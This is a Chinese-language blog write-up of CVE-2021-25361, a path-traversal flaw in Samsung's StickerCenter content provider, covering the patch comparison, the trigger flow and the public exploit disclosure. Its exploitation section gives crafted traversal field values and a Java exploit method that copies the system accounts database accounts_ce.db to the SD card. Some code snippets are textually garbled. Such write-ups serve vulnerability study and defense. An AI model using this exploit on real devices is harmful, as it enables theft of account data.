三星手机 CVE-2021-25361 漏洞分析

# Samsung CVE-2021-25361 漏洞分析及利用 ## **0x1 漏洞描述** 该漏洞编号为 `CVE-2021-25361`,官方描述如下。 ```txt CVE-2021-25361: Arbitrary file read/write vulnerability v...

Samsung CVE-2021-25361 漏洞分析及利用

0x1 漏洞描述

该漏洞编号为 CVE-2021-25361,官方描述如下。

CVE-2021-25361: Arbitrary file read/write vulnerability via unprotected StickerCenter content provider

Severity: Moderate
Affected versions: P(9.0), Q(10.0)
Reported on: October 8, 2020
Disclosure status: Privately disclosed.
An improper access control vulnerability in stickerCenter prior to SMR APR-2021 Release 1 allows local attackers to read or write arbitrary files of system process via untrusted applications.

0x2 漏洞分析

根据官方文档描述可知,该漏洞位于 Sticker center 中,根据漏洞报告,下载 SMR APR-2021 Release 1 的官方 Rom,并与老版本进行对比发现以下差异。

旧版本如下:

//旧版本
package com.samsung.android.stickercenter.StickerProvider;

public class StickerProvider extends StickerProvider {
//---snip---
private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues CV, int arg19, boolean isNotify){
        String pkgName = contentResolve.getAsString(PKG_NAME);
        String Type = contentResolve.getAsString(TYPE);
        String versionName = contentResolve.getAsString(VERSION_NAME);
        String versionCode = contentResolve.getAsString(VERSION_CODE);
        String filePath = contentResolve.getAsString(FILE_PATH);
        String preName = contentResolve.getAsString(PREVIEW_NAME);
        String orgName = contentResolve.getAsString(ORIGINAL_NAME);
//---snip---
    }
//---snip---
}

新版本如下:

//新版本
package com.samsung.android.stickercenter.StickerProvider;

public class StickerProvider extends StickerProvider {
//---snip---
    private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) {
        String pkgName = FilenameUtils.getName(contentResolve.getAsString(PKG_NAME));               // ---- 补丁
        String Type = FilenameUtils.getName(contentResolve.getAsString(TYPE));                          // ---- 补丁
        String versionName = contentResolve.getAsString(VERSION_NAME);
        String versionCode = contentResolve.getAsString(VERSION_CODE);
        String filePath = FilenameUtils.getName(contentResolve.getAsString(FILE_PATH));         // ---- 补丁
        String preName = FilenameUtils.getName(contentResolve.getAsString(PREVIEW_NAME));       // ---- 补丁
        String orgName = FilenameUtils.getName(contentResolve.getAsString(ORIGINAL_NAME));  // ---- 补丁
//---snip---
    }
//---snip---
}

新版本 FilenameUtils 类如下:

//新版本中,FilenameUtils 类
public class FilenameUtils {
    private static void failIfNullBytePresent(String arg3) {
        int v0 = arg3.length();
        int v1 = 0;
        while(v1  v0) {
            if(arg3.charAt(v1) != 0) {
                ++v1;
                continue;
            }

            throw new IllegalArgumentException(Null byte present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it);
        }
    }

    public static String getName(String arg1) {
        if(arg1 == null) {
            return null;
        }

        FilenameUtils.failIfNullBytePresent(arg1);
        return arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1);
    }

    public static int indexOfLastSeparator(String arg2) {
        return arg2 == null ? -1 : Math.max(arg2.lastIndexOf(0x2F), arg2.lastIndexOf(92));
    }
}

从对比中得知,漏洞补丁主要思路是通过 FilenameUtils.getName 函数对路径做进一步的筛查,其中筛查主要分为两个方面:

  • 通过 FilenameUtils.failIfNullBytePresent 函数确保路径中没有无效空字符。
  • 通过 arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1) 确保只保留最后一个层级的目录字符串。

下面开始简单的分析漏洞触发流程.
该漏洞存在于 stickercenter.StickerProvider 中的 insert 函数,在用户层可通过ContentResolver 调用其 insert 函数,首先在 insert 函数中,会验证调用者的包名是否合法:

private Uri(Uri uri, ContentValues CV){
//---snip---
    if(!this.isAuthorizedStickerApp(v2)) {
        StickerLog.d(StickerProvider.TAG, Unauthorized calling package :  + v2);
        return null;
    }
//---snip---
}

isAuthorizedStickerApp 函数会验证 Exploit APP 包名是否在 AUTHORIZED_PACKAGES 白名单中:

private boolean isAuthorizedStickerApp(String arg1) {
        return Constants.AUTHORIZED_PACKAGES.contains(arg1);
}

该处只需替换 Exploit APP 包名为白名单中所包含的即可,AUTHORIZED_PACKAGES 初始化的白名单列表如下:

Constants.AUTHORIZED_PACKAGES = new ArrayList(Arrays.asList(new String[]{
com.sec.android.app.samsungapps, com.samsung.android.contacts, com.samsung.android.incallui, com.samsung.android.messaging, com.samsung.android.calendar, com.sec.android.mimage.photoretouching, com.sec.android.app.camera, com.sec.android.app.vepreload, com.samsung.android.stickerplugin, com.samsung.android.provider.stickerprovider, com.sec.android.inputmethod, com.sec.android.inputmethod.beta, com.sec.android.app.camera.avatarauth, com.samsung.android.stickonme, com.samsung.android.service.livedrawing, com.sec.android.mimage.avatarstickers, aeslauncher.android.sec.com.aeslauncheractivity, com.sec.android.easyMover, com.samsung.android.aremoji
com.samsung.android.icecone, com.samsung.android.honeyboard, com.samsung.android.aremojieditor, com.samsung.android.sdk.sketchbook.avatarapp, com.samsung.android.livestickers, com.samsung.android.app.contacts, com.samsung.android.stickertestapp, com.samsung.android.gearnplugin, com.samsung.android.gearrplugin, com.samsung.android.gearpplugin, com.samsung.android.geargplugin, com.samsung.android.hostmanager}));
}

用户可传入构造的参数ContentValues , 随后,会根据传入的参数获得如下几个参数:

private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) {
//---snip---
    String pkgName = contentResolver.getAsString(PKG_NAME);
    String Type = contentResolver.getAsString(TYPE);
    String versionName = contentResolver.getAsString(VERSION_NAME);
    String versionCode = contentResolver.getAsString(VERSION_CODE);
    String filePath = contentResolver.getAsString(FILE_PATH);
    String preName = contentResolver.getAsString(PREVIEW_NAME);
    String orgName = contentResolver.getAsString(ORIGINAL_NAME);
//---snip---
}

insert 函数首先会调用 checkExistSameData 函数,通过 pkgNameType 获取一个数据库:

public Uri insert(Uri uri, ContentValues contentResolver) {
//---snip---
        if(this.checkExistSameData(pkgName, Type, CV.getAsString(PREVIEW_NAME), CV.getAsString(ORIGINAL_NAME)) != 0) {
                return null;
        }
//---snip---
}

checkExistSameData 函数会查询 mStickerItemsDBHelperList 是否匹配用户传入的 pkgNameType 的数据库,若没有,则创建一个,并添加到 checkExistSameData 中。

接着,会进入 insertInternal 函数,先通过用户传入的 filePath + preName 获得一个 bitmap

//---snip---
byte[] bitmapFile = this.getByteFromBitmap(Uri.parse(filePath + preName));
//---snip---

接下来,将旧文件复制到新的路径中。旧文件路径为: filePath + orgName ,新文件路径为 /data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName
漏洞利用的思路就是构造旧文件路径为 system_proccess 可读的文件,并利用路径遍历,将新文件路径指向 /sdcard 中,那么,用户传入的参数总结如下:

    /data/overlays/sticker/0/ + Type + / + pkgName = datab asePath   //system_proccess权限可访问即可
    filePath + preName = bitmapPath   //在sdcard下,这样有利于提前放入准备好的 .gif 格式文件
    filePath + orgName = oldFilePath  //system_proccess权限可读
    /data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName = newFilePath //在sdcard目录下

0x3 漏洞利用

首先,需要让APP的包名为上述列表中的包名之一.
现在,假设要将 data/system_ce/0/accounts_ce.db 移动到sdcard中,那么各参数构造如下:

    PKG_NAME:   com.mTEST1;
    TYPE:   ../../../../sdcard/;
    FILE_PATH:  file:///data/system_ce/0/;
    ORIGINAL_NAME:  accounts_ce.db;
    PREVIEW_NAME:   ../../../sdcard/com.mTEST1/assets/test.gif;

重复添加 PREVIEW_NAME 会导致数据库报错,无法后续流程


private int checkExistSameData(String arg9, String arg10, String arg11, String arg12) {
//---snip---
    if(new File(v6_1.toString()).exists()) {
        StickerLog.d(StickerProvider.TAG, There is a same file.);
    }
//---snip---
}

解决方法有两种,第一种是每次更改 .gif 的文件名,第二种方案是调用 Providerdelete 函数,具体见 Exploit 代码.

确定好各参数,接下来开始编写主要代码,核心的 Exploit 如下:

public static void insert(ContentResolver contentResolver){
        Uri uri = Uri.parse(content://com.samsung.android.stickercenter.provider/update/sticker/item/);
        ContentValues contentValues = new ContentValues();

        contentValues.put(PKG_NAME,com.mTEST);
        contentValues.put(TYPE,../../../../sdcard/);
        contentValues.put(FILE_PATH,file:///data/system_ce/0/);
        contentValues.put(ORIGINAL_NAME,accounts_ce.db);
        contentValues.put(PREVIEW_NAME,../../../sdcard/com.mTEST1/assets/test.gif);

        Uri result = null;

        result = contentResolver.insert(uri,cv);
        if(result == null){
            log(result is null);
        }else{
            log(result.toString());
        }
    }

0x4 路径遍历总结

路径遍历类漏洞主要产生于对于包含了路径的字符串审查不严格,以及对高权限模块的调用者筛选不严格导致的。在编写代码时,要对由用户输入的参数保持高度警惕,做好充分的“消毒”,通常需要由专门的“工具类”来复用此类检查工作,要想完全避免路径遍历类漏洞,还是需要充分的代码审计以及测试步骤。

  • 发表于 2021-07-26 10:49:01
  • 阅读 ( 6368 )
  • 分类:漏洞分析

4 条评论

Tony酱
写的太好了,看完这篇文章,我受益匪浅,感谢楼主!!!!
请先 登录 后评论
大佬好(萌新瑟瑟发抖中)
请先 登录 后评论
寒雨
写的太好了,看完这篇文章,我受益匪浅,感谢楼主!!!!
请先 登录 后评论
寒雨
写的太好了,看完这篇文章,我受益匪浅,感谢楼主!!!!
请先 登录 后评论
请先 登录 后评论
Tony酱
Tony酱

资深发型设计师

1 篇文章

站长统计